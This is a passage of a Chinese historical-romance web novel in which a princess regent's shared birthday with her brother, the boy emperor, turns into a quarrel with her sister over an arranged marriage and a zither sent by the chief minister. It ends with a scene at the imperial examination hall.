女郎亮声怒呵,中气十足。
紧接着,使了个蛮力,一把将他推开,然后,跳下那灶台,大步流星,出了厨房。
说什么,也不与他靠近了!
绝不允许他,进入她周围三尺之地。
25. 二月十七.第一回合
二月十七日,是琳琅长公主的生辰日。
今年满双十,算是大生。
可她也没想要怎么大张旗鼓地过。
她都二十岁了,就现在这光景,不想大家都来提醒她一遍。
遂一切从简,个人关起门来,在宫里悄悄消受了罢。
不过,该有的生辰礼数,还是要有。
盖因这二月十七,也是青岚的生日。
其实,夜鸣珂也记不得,这一天,究竟是她与青岚,谁的生日了,甚至,也许都不是。
她与青岚,都出生在二月里,不假。但凑在二月十七这一日,一起庆生的擅改。
却是她母亲的主意。
先皇妃嫔众多,子女众多,年纪大了,就有些记不清膝下的皇子皇女们,究竟谁生在哪一天。
母亲就对先皇说,姐弟二人,都生在二月十七这一天。且这一天,还有个特别,是当年先帝迎娶纪家嫡女做皇后的大婚之日。
三重加码,倒是在许多年里,都能让先皇准确地记住,在二月十七日这一天,抽空到中宫来,陪着姐弟二人吃顿饭,比一比长高的个头,询问一些学业长进,也能赏赐些生辰礼物。
后来,母亲没了,夜鸣珂为了在先皇跟前,让姐弟二人得到更多的垂青,自然也是坚持着在二月十七这一天,向着先皇讨要生辰礼物,也顺便,让他对母亲作一回思念。
再后来,先皇过世,她也就懒得去纠正这事了。
那彤史实录,夜氏宗谱上,应该倒是记有准确的出生日期与时辰,可她也不想去翻。
就这样,也挺好的。
她与青岚,同生辰,共命运。
这也是母亲的在天之灵,最想看到的。
这几年,诺大皇宫,只剩了她与青岚做主人。两人便亦要在这一天,走一些小小的生日礼数,把这同生共运的血脉之连,再浸润一遍。
比如,同食生辰面,交换生辰礼。
今年,依旧。
今天,也依旧。
二月十七,晌午,皇帝散了学,长公主理完政。
皇帝就到垂拱殿御书房里,拉了她,一起往延庆宫,天子寝殿去。
一边拉着她走,一边摇着她的手,带些小孩儿过节一般的兴奋:
“皇姐,你今年要送朕什么礼物?
十四岁的少年,变了些声气,又还有留了丝儿奶音。
“你说吧,想要什么?”夜鸣珂叹口气,反过来问他。
往年,她每次都还是要备些本以为小孩儿会喜欢的玩物,可也真不太能把的准那少年儿郎喜欢什么。每次,都被嫌弃,要求替换成玩事。
比如,许他可以出宫玩几次,许他早上多睡半个时辰,许他可以吃些辛香食物,之类。
所以,今年,她索性也就没有事先准备,等着那少年开口来提。
“……”小皇帝却是一脸的精怪,挤眉弄眼地笑了笑,没说话。
“要去哪里玩,要想吃什么,只要不是太离谱,都允你!”
夜鸣珂继续一副宠爱幼弟的长姐模样。日子如履薄冰,习惯于谨小慎微,就不觉将他管教得紧。也就这生辰日之类,能够适当纵容他一下。
“那些……都是些小孩儿才稀罕的,我不要了……”夜青岚皱眉,摇头,一脸的嫌弃。
“你不就是个小孩儿吗?”夜鸣珂转眸,瞥了他一眼,还是把他当做个小儿来看。在她心里,一直牢记着母亲的嘱托,保护和照顾好这个弟弟。
“前些天,晏师傅进宫来给朕讲学,说是西北草原上,那莫折部里的男子,十四岁就可以上战场了!”小皇帝也不说自己不是小孩,只搬出老师教的,来举例反驳。
“这么高……”还踮脚,抬手,比了个比他高出半个头的位置,大约是在说那莫折少年。
“光有个子,不长脑子,有什么用?”夜鸣珂笑说。
莫折部的男子是出了名的人高马大,孔武有力,但性情冲动,行事鲁莽,也是出了名的。在那长期侵扰大兴西北边防的进攻中,没少因这粗线条而吃败仗的战例。反倒成就了西北军中像秦琅这种胆大心细的将领。
“这……倒是跟晏师傅说的一样……”少年讪笑着,点点头。可眸光一转,又举一例:“在资善学宫读书的那些宫女,都送我手帕子了……”
少年初成,高瘦清秀,如新出的修竹,都已经开始讨女儿家欢喜了。
“你收了?”夜鸣珂突然站住,一脸的警觉。
“却之……不恭吧。”夜青岚本是有些得意的,见着那姐姐突来的沉眸冷色,就诧住了。
顿了顿,还是伸手于袖中,摸出一沓手帕子来。
跟交代赃物一般。
夜鸣珂一把接过,于掌中粗略翻过,见着竟是些鸳鸯蝴蝶并蒂莲花之类的绣角,便转手递给身后侧跟着的紫绡,“挨个送回去,按宫规,该怎么处置,就怎么处置。”
跟那大宫女交代了,又转头与少年叮嘱:“别到处惹!……尤其是宫女,她们不是皇帝陛下的玩物!”
“哦……”小皇帝怔怔的,点头,表示受教。
“若是真有喜欢的,等你大婚之后,再说!”她又补了一条说明。
这第一个女人,很重要。若是在皇后进宫之前,就被些近水楼台,先给勾了魂。那倒时候,中宫的日子,会很不好过。她母亲,就是个前车之鉴。
“……”小皇帝继续怔着,眸光明灭,不知进到那一层须弥芥子中去了。
“少废话,今日生辰,你究竟想要什么?”夜鸣珂便将那绕了一圈的话题,给拉了回来。
“我什么都不要,我只要皇姐开心,就好……”少年回神,赔笑。
嘴甜如蜜。
“好吧,你说的?那就什么也没有。”女郎赶紧顺水推舟,准备把这生辰礼给省了,省得他提些稀奇古怪的。
“不……不,姐姐送的生辰礼,我怎能不要?先进去,等下再说吧。”
碎嘴对话间,已行至延庆宫。
∝∝∝
天子寝宫,锦绣画堂。
小皇帝将他皇姐,拉到上座上,按下坐稳了。
绕后,退步三尺,抬手拱礼,恭敬祝愿,祝愿姐姐永远貌美如花,安康体健,年年有今日,岁岁有今朝……
反正,甜蜜的漂亮话,只需要费些口舌,不要钱。
“好了好了……”夜鸣珂赶紧抬手,阻止了那滔滔不绝的祝愿。听得她浑身起鸡皮疙瘩。
“你要送我什么,快拿出来吧。”她又催促了一句。
这几年,这小子都会备些女儿家喜欢的东西,胭脂水粉珍玩首饰之类,还颇能讨好她。也不知是天生风流无师自通,还是说找哪位高人出的主意。
“姐姐不急,晏师傅说的,得按着顺序来,不然要乱……”小皇帝笑着,心头开心,嘴上就溜滑,似乎溜出些不该说的信息。
“……”夜鸣珂霎时侧目,偏头将他看着。
她姐弟二人,关起门来过个生辰,跟那晏西棠有什么关系?
二月初九就开始的春闱考试,三天一场,一连三场。首辅宰执作为全场主考官,一头扎进南边贡院考场,已是许多天没看见人影了。
今日十七,春闱第九天,第三场的最后一天,考完还要封卷,等着翰林们明日前去会阅。他应该也是无暇整些其他的幺蛾子的。
可怎的,突然觉得,有些阴魂不散。
待要细问,小皇帝却自圆其说了:
“我是说,晏师傅教的,长幼有序,自然该是姐姐先赠我礼!”
“……”夜鸣珂心头已然警觉,突然想要吃东西,“我肚子饿了,可以先吃饭吗?”
“姐姐一吃东西,就要犯困,犯了困,就听不懂我在说什么。还是饿着肚子听吧,新鲜些。”少年却扯脸涎笑,蛮横坚持。
“那……说吧……”夜鸣珂叹气。
小小少年赶紧蹲跪到她膝边来,却又还在旁敲侧击地,弯弯绕:
“姐姐,我是不是明年,就可以娶亲了?”
“按大兴的律例与风俗,应该是可以的。”夜鸣珂点头。
大兴律例,男子十五,女子十三,即可成婚。且因那彩礼与嫁妆之备,需得财力支撑,这一到年龄就谈婚论嫁的,方显家境富庶。因此,只要是有条件的人家,都愿意趁早不趁晚,遂成风俗。
天子与庶民同俗。
她本也就想在明年,在适龄的世家贵女当中,给他挑一个小皇后。
“那娶亲之前,我是否也该行个成年礼?”小皇帝有问她。
“……”夜鸣珂挑了挑眉尾,不忙着诺他。
大约知道,他在挖坑呢,可一时也没看出,究竟是个什么坑。
“皇姐您想啊,朕明年都要娶亲了,且不也算个男子汉?哪有小孩儿娶亲的?若是到了成婚的时候,连成年礼都没行过,我的皇后笑我是个小孩儿,怎么办?”小皇帝一脸的别扭。
“呵……”夜鸣珂凝着笑,想了想,却也理解了,“也是,得有个礼数,也好让宗亲世家,满朝文武们瞧瞧,咱陛下长大了。”
男子二十,称弱冠,方行加冠之礼,算为真正成年。倒是有些世家长子,急着继承家业,又重个传承礼数的,提前个两三年就行了礼。不过,这成年与否,跟行不行冠礼,没关系,有穷人家的孩子早当家的,亦有富贵人家的孩子早主事的,当然,也有那二三十岁,还未长醒,赖在娘亲身边,甚至妻子怀里,当宝的。
她只是有些意外,没想到这弟弟,这么在乎这虚礼。
不过也好,皇家无虚礼,行过成年礼,亦好方便他大婚与亲政,名正言顺。
可这十四岁,也太小了点,至少,等……十五吧,比着那女子及笄之年。
“明年吧,明年今日,等你满十五,咱就行加冠礼!”琳琅长公主默
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了默,终是许了那急于长大的少年。
哪知那小少年,绵绵地,扯出一张嬉皮笑脸:“其实,无需等到十五,也不一定要那加冠……”
“不要加冠,那你想要怎样行礼?”夜鸣珂不懂了。
“晏师傅说,莫折部的男子,十四岁行成年礼,就是只身入天缺山,三日之内,猎一头熊回来,便算是成年,然后可娶亲,从军。”
“哦……”夜鸣珂应着,尾音上扬。
她有些恼晏西棠了,好好地讲经说史,他给皇帝讲些什么猎熊做什么。这下可好,似乎是……教坏了。
“今年的三月春狩,我亦想去空音山中,凭一己之力,猎一头熊,当做成年礼,可好?”小皇帝的心思,果然在这里。
“……”夜鸣珂按捺住要拍案而起的冲动,磨着银牙,继续问:“说说你的理由。”
通常,她不想许的,她也不会直接压,只让他拿出理由来,说服她,亦或,等她反驳成狗,碾压成泥。
“这以春狩猎熊为成年礼,理由有三……”
那小少年往她腿边靠得更近些,做个讨好的叭儿狗状,再清了清嗓音,来逐条陈词:
“其一,大兴的天子,如果学了个草原部落的成年礼,既是示威,也是示好。既是向他们展示,我们大兴儿郎并非文弱之辈,亦有猎熊之英武;且这慕名效仿,也是对他们的习俗的一种认可与尊重。日后那西北局势,不论战与和,此举都可为伏笔……
“其二,亲手猎熊,朕才有可以拿来祭祀的牺牲,真心诚意地告知我夜氏先祖,尤其是父皇母后在天之灵,朕在姐姐的悉心保护和照顾下,长大了,已经有了成年男子的力量与心智,往后余生,便要换作我,来保护和照顾姐姐……
“其三,春狩猎熊为礼,便是昭告天下,朕成年了。当年姐姐在父皇病榻前,剪断枯桐琴弦立下的不婚誓言,已经可以完结。然后,姐姐……就可以嫁人了……”
那少年说完,尚仰面,精亮着眼神,认真地,看着她。
夜鸣珂突然有些鼻间发酸,眼中生雾。
“嫁人么?我都不急,你急什么?”她抬袖,终是拉起一角衣袖,点了点眼角。
被个浑小子,暖到了。
“其实……我也不急,是……姐夫急了。”小皇帝绷了少许的正经,霎时垮塌。
“谁是你姐夫?”
哪里冒出来一个姐夫了?
那小子笑而不答,抬手一拍,在殿门外候着的一心,便捧了一张琴进来。
待捧至案上放下,褪下锦套,不是晏西棠那张步松月,是什么?
“这是……”她心头突然有些乱。
他说,这琴,要送给二月里过生辰的人,那个人,弹一首好琴。
“这是姐夫送给姐姐的生辰礼!他今日尚在科考场中主事,不方便到宫里来,就让朕……”小皇帝还在旁边挤眉弄眼,口没遮拦。
“少来!”夜鸣珂赶紧叫他打住,又问,“你送我的礼物呢?”
以为他要这般蒙混过关。
“我有送礼的啊,诺,就在这琴上……”少年仰腰一转,抬手一捞,托起那垂下案侧的流苏轸穗,咧嘴笑说,
“五色长命缕,做瑶琴之凤翎,压琴弦之稳固,调清音之和谐,姐姐,朕这礼物,可也是用了心的!”
丝毫不觉,他的抠门与凑数。拿个五色丝穗,系在价值千金的瑶琴轸柱上做凤翎,亦就跟着身价摇升了。
可她要收他这凤翎之礼,可不得把这张琴也得收了?
“今日这些,可都是你晏师傅教的?”夜鸣珂叹气。
她大致明白了,今日整个一出,什么春狩猎熊作成年礼啊,什么长命缕作瑶琴凤翎啊,都是晏西棠怂恿,教唆的。呵,他倒是不计前嫌,二月初三那日过后,她就没给他过好脸色,也没跟他正常说过几句话。
“也不算是教,是姐夫提议,朕觉得还不错,就采纳了。”少年纠正了一下主次,也矫正了一下称呼。
“莫乱说!”夜鸣珂觉得,那张口闭口的姐夫,称呼得好扭曲。
“挺好的啊,姐姐当年剪断琴弦立誓不嫁,他那厢也是丧妻要续弦,这一张新琴送给姐姐,胜过千言万语。朕以后,可不得改师傅叫姐夫了……”
小皇帝兀自沉浸,玩味那别出心裁的巧妙。
大约那个年纪的少年男女,都是喜欢围观别人情缘,看些热闹的。
夜鸣珂见他油盐不进,也就无奈随他去。
继而仰头,作一些思索。
她在想,要不要收下这张暧昧的琴,要不要许这小子去猎熊。
晏西棠突然表现得这么有情有心,她竟有些不知所措。
一个抬头,却看见扶疏站在那殿门上,脸青面黑,紧握拳头,气得浑身发抖。
应是听到了。
她心头咯噔一下。
心道,这下,误会得大了。
26. 二月十七.第二回合
扶疏站在那殿门上,脸青面黑,紧握拳头,气得浑身发抖。
夜鸣珂傻了眼,面上倒还绷着那若有若无的笑颜,心头却已经在大叫不好。
前头几天,她才花了许多口舌,把这妹妹勉强说服到,答应考虑一下。
那赐婚已经过了朝议,拟了圣旨,只等扶疏点头,便要派特使送往西北。
其实,这皇家姻亲,又是走朝堂决议的政治联姻,基本上也就是皇家主事与政事堂说了算。询问当事人的意见,也就是在决议之后的一个例行公事。
但夜鸣珂还是郑重其事地,把扶疏叫到春和宫来,亲自问询。
哪知那扶疏长公主一听,要将她嫁给秦琅,一阵偏头晃脑,蹙眉瞪眼的,好半响都转不过那道弯。
不管夜鸣珂如何晓之以情,动之以理,苦口婆心,好说歹说,反正,她就只说她喜欢晏西棠,要嫁就嫁给晏西棠。其他人,她不熟悉,不喜欢,也不愿意。
夜鸣珂只能把心一横,极尽所能地,描述了晏西棠有多么的坏,狡猾如狐,智多状妖,心深似海,成日桃花不断,还结过一次亲,妻子刚过门就没了,没准就是个克妻命格,年龄又大,家里又穷,性子又抠,云泽那个小地方来的,听说家里还有个性情古怪的老母,这样的人,跟她扶疏有多不合适……
然后,又极尽所能地,描述了秦琅又有多么的好,世袭军侯之家的嫡子,英武挺拔的长相,沙场领兵的才干,豪爽耿直的性情,将来是要继承云中侯衣钵,执掌数十万西北大军,镇守大兴千里防线的,嫁了他,日后便是大将军夫人,军侯家主母,在那西北之地,也是一世尊宠荣华……
一番对比剖析,说得她自己都觉得,这两人,简直是云泥之别了。
哪知扶疏听罢,愣愣的,想了少息,却给了她一个白眼,再加一句抢白:
“姐姐把秦琅说得怎么好,为何不把自己嫁过去?”
“我这不是不能嫁吗?”夜鸣珂苦笑,“那秦家和西北军也等不得……”
继而又把这桩姻亲,能够缓解军备之急,起稳固军心之效,还能为国为民的各种用意,也开诚布公地道来。
希望扶疏能够担当起作为一个皇家公主的责任。
如此,才勉强将她说服,说考虑一下,过几日答复她。
当时,夜鸣珂也就松了口气。扶疏说的考虑,通常就是要答应了。因为,她若是铁了心不愿的事情,是没有考虑的余地的。
今日来这生辰小宴,怕就是要来答复她。
那手里,还拎了一根编织了玲珑结的流苏坠子。那是用来压腰上佩玉所用的流苏吊坠,前些天她的一条吊坠刚好坏掉,应是被看见了,便编织了一根来作她的生辰礼,也是挺有心的。
哪知,却在门上听见皇帝如此一通口无遮拦的乱说……
这下完了!
夜鸣珂坐在那小案后头,绷着没动,心头却弥散开一片狼藉。
那门上站着的少女,怒目圆睁,浑身怒气,还在继续升腾。
“扶疏姐姐来得可巧,正好赶上吃饭……”小皇帝倒是没怎么在意这两位姐姐的剑拔弩张,自顾笑着拍手,转头去叫他的贴身随侍,“一心,开饭……”
“等一下!”扶疏迈步进来,亮声呵住他。
小皇帝一脸的不解,看着她一步步行过来,又是一句冲他来的喝斥:“出去!”
扶疏发起威来,也是满凶的。试问哪个皇家公主,不会作威作福?
小皇帝更懵了,抬手指着自己鼻子,又转头去看夜鸣珂,想讨个公道。
“出去!”哪知夜鸣珂亦同样呵了他一句。
“这……这是我的地方,我还正过着生辰呢……”夜青岚更是想不通了,直想跳脚。
“出去!”
“出去!”
这一次,两位姐姐,异口同声,齐齐呵他。
“……”小皇帝吞了吞气,原地转了一圈,终是负手叹气,认命地出殿去。
姐姐们还当他是个小孩儿呢。只要当他是个小孩儿的时候,是不会当他是个九五至尊的皇帝的!
然后,殿中只剩了两位女郎,气氛更是凝滞。
“姐姐好虚伪!”
那扶疏就站在画堂中央,远远的,也不靠近过来,就那般圆睁怒目,看了看案上瑶琴,冷凉声气,有种无法遏制的愤怒。
“扶疏……”琳琅长公主倒还是端坐着,一声叹息呼唤。
她本想说,你听我解释。
可转念一想,也懒得解释了。
这光景,似乎……解释也没有用。
“大家都在说,秦琅喜欢姐姐多年了,我还在纳闷,姐姐为何这么好心,放着个这么好的如意郎君不要,却让我去嫁?”
果然,扶疏的声气,越发地尖酸,愤恨。
“敢情,是姐姐是心中另有所属,便看不上他,是不是?你看不上的人,就让我去嫁,那秦家想要尚公主,朝廷需要一位公主去西北,姐姐自己不愿去,便拉我来充数,是不是?还有晏西棠,才是你喜欢的,是不是?我看上你喜欢的人,你怕我跟你抢,你就使诈,将我支开,远嫁,是不是?”
少女叠声地质问。
“不是!”夜鸣珂扬声,理直气壮地否认。
然后,否认完毕,便用完了底气。在扶疏眼中,她不就是这样一位心思恶毒的长姐吗?诓着妹妹远嫁西北,然后,转过背来,她却跟妹妹的意中人眉来眼去,甚至,照皇帝的话来说,都在谈婚论嫁了……
那张暧昧的步松月,正大刺刺地,躺在两人眼皮底下,檀木案桌上。
她想说,她是真的觉得扶疏若是嫁给秦琅,是一桩不错的姻缘,也想说,她自己跟晏西棠,没有半毛钱关系……可是,又觉得,好矫情。
未出口的话,都觉得矫情了,索性不说。
故而,一脸平静,面对那妹妹的气势汹汹,绷着云淡风轻。
扶疏见状,越发激动:“父皇不在了,母妃不在了,可我也还是个金牒册封的公主,姐姐莫要欺人太甚!”
那少年女郎一旦钻进牛角尖里,就很难再出来。
“扶疏,我说了,不是你想的那样,就不是!我不管你怎么想,这云中侯世子尚扶疏长公主的赐婚,改不了!”
琳琅长公主简单辩驳一句,就拿出长姐的权威,掌玺的权力来,想要压人。
“我就算出家做尼姑,就算孤老度终身,也不会嫁给秦琅,让你如愿!”
那少女也像是被逼急了,将手中那条流苏吊坠狠狠往地上一扔,撩了句狠话,掉头就走。
“站住!”
夜鸣珂一声沉沉的呵斥,不甚严厉,却还是将那埋头冲撞的少女给呵得停住。
却也不转身,拿个后背对着她。
夜鸣珂站起身来,顺手抓过案上一把白玉镶金丝的龙头小刀来。应是皇帝平日裁纸所用,也没个收捡,到处乱扔。
“扶疏,你看好了!”
她冲着那凝神听话的背影,说了一声,继而便是“铮铮”一阵琴弦乱响。
那张价值千金的瑶琴,就给一根接一根地断了弦。
亦如先皇临终前那一场断弦起誓。
“我就算出家做尼姑,就算孤老度终身,也不会跟晏西棠有任何的瓜葛!你只管放心!”
夜鸣珂哐当一声扔了刀在案,同时也扔了狠话。
她想,扶疏之愤怒,不就是觉得,她背地里,喜欢她之喜欢,暗地里,抢夺她之所爱吗?那么,无妨,剪断就是。
琴弦断了可以再续,千金散尽还复来,而弟弟和妹妹,却就只有这么多了。
她不想,扶疏怀着对她的恨意,去出嫁。
且这出嫁,又还是件板上钉钉的急事,容不得半点差错,故而又冷言来叮嘱:
“往西北送赐婚圣旨的天使,今日下午就会出发。此事没有回转的余地,你该做什么,就做什么去!你的嫁妆,仪礼,一样都不会少你!等着今年入秋,就嫁去西北!”
言语之中,没有半点缓和。
她对自己,都狠得下心,对别人,亦然。
扶疏慢慢转身,看着那案上,一张残破瑶琴,有些动容的惊色,再看看她姐姐一张决绝面容,似乎不容她再有半点的犹豫。
那少女翕了翕唇,终是什么也没说,转身离去了。
一场生辰小宴,未起时分,就不欢而散。
∝∝∝
夜鸣珂绕出座来,不想再去看那
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张断弦的瑶琴,而是几步走到殿室中央,捡起那条躺在地上的流苏吊坠。
那玲珑结,编织得歪歪扭扭,丑得心慌的手工,一看就是出自扶疏之手。
不觉一个鼻子发酸,索性蹲在那处,抬臂搁膝,埋头在臂弯,哭了起来。
小皇帝进来,看见这光景,赶紧像个小大人一般,来安慰她:
“姐姐,你莫哭嘛……”
“呜……”不劝还好,一劝,竟让她哭出了声。
“是我不好,是我嘴糟,是我乱说,我去跟扶疏姐姐解释清楚……”
他刚才被赶出殿去,可那八卦好奇的年纪,岂有不偷听的?这两位姐姐是个什么过结,他也给听得个清楚。
“不用再解释!已经很清楚了。”夜鸣珂埋着头,答他。
“姐姐,今日过生辰呢,不哭嘛……”那小少年像是想来替她擦泪,可又无从下手。
“呜……”越说越哭。生辰日过成这样,更是想哭。
“不哭不哭,今年春狩,我也不去猎熊了,免得姐姐担心,也免得姐姐为难……”小皇帝只得来拍她的肩头,想着怎么替姐姐省心。
夜鸣珂却突然抬脸,说到:“春狩猎熊,你想去,就去吧。这个月,再好生练一练臂力……,还有箭法,到时候,别让熊给笑话了!”
“……”小皇帝听得一脸的意外。
“今天是生辰,青岚又长了一岁,已经是个小男子汉了。你先前说的那些,想去猎熊的理由,姐姐觉得都很好,今后,也像这样,你想做什么,事先只要是充分思量清楚了,觉得是对的,就只管去做,不用再优柔寡断,瞻前顾后……”
一副开明懂理的长姐模样,又还有些抽泣的尾音。
“那……姐姐,不哭了嘛……”
“你等我一会儿,马上就好……”
她也知道,不可在弟弟面前,过分地失态,可也不知,为何突然就这般好哭。
大约是因为,那案上断弦之琴。
那张步松月,她是真的好喜欢。
那人弯弯绕绕递过来的情,她其实也觉得,心头有些微微醺的暖。
此时此刻,想着那断弦的惨状,都不敢抬头去看。
她心头,好痛。
倒不是心疼那千金之物,而是突然觉得,自己刚才说出的那句狠话——就算出家做尼姑,就算孤老度终身,也不会跟晏西棠有任何的瓜葛!
就是这句试图消解扶疏心结的话,让她觉得,心中无尽的惆怅。
难得有一次,那人正儿八经地递上来的一份情意,就给她这样,几刀胡乱割断。
她真的是矫作,既不惜物,也不惜情。
他若是知道了,还不知,要怎样责怪她!
“你这裁纸刀,怎的这么锋利?”
女郎突然站起身来,无处责怪了,只得去怪小皇帝案上那把裁纸刀。
按理,裁纸所用刀具,讲究钝刃,方能将纸裁得平整。哪会这么锋利,连丝弦都一割就断。
“那是晏师傅送给我的!也是今年的生辰礼哦,这可是他五岁开蒙时就开始用的,都用了二十年,这上面可全是才气,可助我文思泉涌,再也不愁写不出功课……姐姐也不想想,人家大才子,学富五车,才高八斗,用过的墨都能染黑湖,裁过的纸可堆成山,这裁纸的刀,能不磨得锋利吗?”
小皇帝亦跟着起身,拾过案上那把龙头小刀,回鞘,揣宝贝一般,往怀里揣好。
就像生怕他姐姐来抢一般。
哪知那姐姐,凝神看了看他手中白玉镶金的精致小刀,竟还真的动了要来抢的念头!
“青岚,要不,咱们交换一下这生辰礼吧!”
琳琅长公主心头,突然冒出一个怪诞而绝妙的主意。
一来,把那张断弦的破琴交换出去,换一件完好的礼物在手。
她心头,要好受些。
二来,把那张贵重棘手的琴交换出去,换一柄小小的裁纸刀来接受。
晏西棠送琴的暧昧意思,她就可以巧妙地回避掉。
要不然,按照她对扶疏的赌咒发誓,她要撇清跟晏西棠的关系,就还得拿着这一张断弦的瑶琴,去退还人家。
那多寒碜人!
27. 二月十七.第三回合
景和三年的春闱,三场会试,三天一场,二月十七日是最后一天。
城南,贡院考场。
酉时三刻,考生搁笔,交卷,再收拾铺盖卷,出场。
在清理了全部考生出场之后,那贡院大门再次关闭,礼部的考官们,立即开始弥封试卷,接下来还要誊录与校对,继而等着明日,翰林学士们来阅卷,然后,赶在二月底,填出那获得殿试资格的贡士榜来,并在三月初三,上巳节之际,放榜。
政事堂的首辅宰执兼领翰林大学士,帝师太傅,这种为天子选拔门生的重要时刻,自然是要亲领主考的。
加之晏西棠做事,认真。这升任首辅以来,主持的第一场春闱,他愣是从二月初九开始,一直到这十七日,吃住全在这贡院里,满满地守了九天。
也是,他年纪最轻,官位最高,若是不认真些,如何服人?驱人?感人?
故而,现场坐镇,亲自主事,便守得礼部的主考们,没得话说,干劲十足;也守得那些考生们,在离场时分,都纷纷朝着那个站在高台之上,目送他们离场的年轻相公,行着拱手礼告别。
敬他为天下士子楷模。
三两成群的考生们,出了贡院,尚还在交谈,谈论晏相公的风姿与气度,才华与能干……
琳琅长公主的马车,就停在那贡院大门往左的转角巷口处。
那些啧啧连声的赞誉之词,毫不掩饰的向往与敬仰,一句没一句地,飘进车帘来。
听得她心头,如风吹镜湖,皱起一片片的涟漪,搅得难受。
世人皆说他好,唯独她,曾经视而不见他的好。这会儿,扪心自问,似乎咂出他的一丝丝儿好来,却又被她几刀给割得……反正,有种惆怅的混乱。
伴随着那种绵绵的惆怅,一丝接一缕,一浪接一浪地,从心头涌现,流淌出来的,还有对晏西棠的拨乱反正,好像,他真的如外面那些考生们交口称赞的,是一块完美的玉,而那些她曾经以为很讨厌的地方,都是那美玉上的瑕点,反倒增加了美玉的光泽与真实。
她像是被扶疏的话,一下子砸醒了一般。
“晏西棠,才是你喜欢的,是不是?”
其他的那些质问,她都可以问心无愧。她嫁扶疏于秦琅,没有想过,是将扶疏支使给她之不喜欢,她说晏西棠坏话时,也没有想过,是害怕扶疏抢她之喜欢。
可是,唯独这一句,她突然心虚了。
心虚得低头自顾,如揽镜照残影,猛地窥见心中一片狼狈。
那把金丝白玉龙头刀,还攥在手中把玩呢。
中午在延庆宫,她突然发疯似的,要拿那断弦之琴跟青岚交换这把裁纸刀。那小子自然是跳起来,大叫不愿。可对付她这弟弟嘛,她有的是办法,几个威逼利诱,终是换来了小刀,再把那把破琴扔给他,让他想办法修琴去。
身为威仪长姐,这点欺压弟弟妹妹的功力,她还是有的。
后头,从延庆宫出来,就一直将这把小刀,给攥在手里,藏在袖中,这一下午了,都未曾离手。
似乎有种不舍放下的迷离。
待到人群散尽,耳旁复归寂静,她还坐在那车中,指腹摩挲着那白玉刀柄上的金丝龙须,发呆。
依稀感慨,那个把裁纸钝刀都磨成锋利尖刃的人,得读过多少的书,用过多少的纸,写过多少的字,还有,心中,得装有多少的丘壑……
“公主,可要进去?”紫绡侍立在车旁,轻声问询。
“……”夜鸣珂未答。
她答不出。
她也不知,她莫名跑来这贡院门口来,要做什么!
她也不知,自己该要怎么办!是要遵她许扶疏之言,与晏西棠不再有任何私情瓜葛?还是要寻着那乍开的心扉,闭着眼投入那一片柔波中去?
有时候,觉得真的是笑话,往往在你决定往左之后,那右边的迷雾,突然散开,让你无所适从,哭笑不得。
忽听得贡院大门上,一阵争吵喧嚣,打断了她的迷思。
琳琅长公主撩帘来看。
远远地瞧着,似有个青襟白衣的考生,站在门上,与值守的军士,争执不下。
若是按常理,想管这闲事,本可让紫绡前去,问询一番即可。
可夜鸣珂难耐了,径直跳下车来,走上前去。
她实在是气闷得很,得找点什么事情来,打断一下,那如乱麻一般的心绪。
“怎么回事?”她提裙上阶,问那个正拿着刀鞘在格挡考生的军士。
春闱之中的贡院,由禁军精锐值守。
禁军中人,大多是认得她的。
“回禀长公主殿下,此人想要冲进去……”那军士赶紧恭敬答她,“可按规定,考生离场之后,不可再入内!”
夜鸣珂再转头,去看那个考生,竟是个十分年轻的,清秀相貌。
那考生倒是也没怯她的身份,硬着脖子,讲着他还想要进去的道理:
“我……我是参加今年会试的考生,刚才收拾行李时,遗漏了一件非常重要的东西在号房,这会儿,就是想进去寻一寻……”
“是什么贵重之物?”琳琅长公主问。
“是一块银制的长命锁,算不得贵重,但却是非常重要之人赠与的,不可丢失!”那小书生言语间,有些执拗。
边上军士闻言,就忍不住偷笑,大约是笑那物之“贵重”。
可也继续大马金刀地堵在门上,不让进。反正,他们按照规矩办事,出来了,就不能再进去。
那小书生面上浮了些急色,眼巴巴地看向夜鸣珂。
“这样吧,你在门上等着,我替你去找!”夜鸣珂突然善心大发,问他,“你在哪一号?”
“横甲竖丙!”那小书生说了号名,一时激动,竟不知道该怎么称呼与道谢,“谢……谢谢……”
琳琅长公主罢罢手,抬脚进贡院去。
她到不是想要博个好名声,说这长公主殿下,能够纡尊降贵,亲自去给一个考生找东西。
而是,她正好,缺一个进贡院的理由。
想进去看一看。
就是看一看,而已。
∝∝∝
进那贡院中,绕影壁,过最外的阔庭,穿堂过廊,入第二进院落,便是密密麻麻的考生号房,再后头,才是监考的主堂。
那考试的号房,修筑在凹处,而监考的主堂,却在高处。
故而,越过一排排号房,远远地看过去,尚能看见堂上人头攒动,应是礼部考官们,在清点与密封试卷。
举头看了看,也没看出个所以然,夜鸣珂便一头扎进那些阁子间,先帮人找东西去。
那些几尺见方的小阁子,虽说皆是人去室空,可总觉得还尚残存些考试的紧张气息,门框上挂着的考生名牌,都还未及取下。
先找到那横甲竖丙,再看着那上面的考生姓名,夜鸣珂就笑了。
沈南烛这个名字,她有印象的。彼时在云韶喝酒,聊起不省心的弟弟,卿若说她也有个弟弟,今年十八岁,就叫这个名字,且也要参加今年春闱。她当时还大言不惭,说可以照顾呢。
那时还没醉到不记事的程度,这会儿一看这名字,自然就想起来了。
不觉摇摇头,真是无巧不成书。
遂进到那号间里,去帮他找长命锁。
那号间里,其实就一张光零零的木桌,一张光秃秃的床铺,一览无余,也没什么好找的。
木桌上,一堆滴印的残烛,床铺上,尚有睡痕的草席。
彼时,将近戌时,暮色来袭,光线渐暗,加之那号间搭建得密集,也就只能勉强视物。
夜鸣珂便猫着腰,在地上寻了一遍,再翻开小床上的草席棕垫,摸索着,又寻了一遍。
仍是无果。
直到蹲到那床边,躬身下去看,才看到那床底墙角处,似乎有个银样的物事,应是顺着里面床缝掉下去的。
只得四肢着地,钻到床下,伸手去捡。
好在那床铺本就窄,仅供一人容身的样子,送半个肩膀进床底,长长地伸手张指,也就够着了。
待拾过那物事,拿到手中一看,果然是一把银制的小锁,有些年月的样子,银色磨得光亮,“吉祥富贵”的字样,都磨得没了棱角边。就是一把寻常百姓家的长命锁,孩子满周岁时,都要给打造一把来带的那种。
捏了那物在手,正待起身,一个转头,猛地抬眸,才看见那个悄无声息袭来的熟悉身影。
吓得她一个腿软,又给蹲坐了回去。
就地而坐下,抬肘搁床沿,一边镇惊,一边更是起乱。
心头暗怪,也不知他是何时来的,也不出个声,就在背后阴笑阴笑地,看她在这里,四肢着地,下腰撅臀,匍匐着找东西?
很好看吗?
那人却继续笑着,在她跟前,蹲了下来。
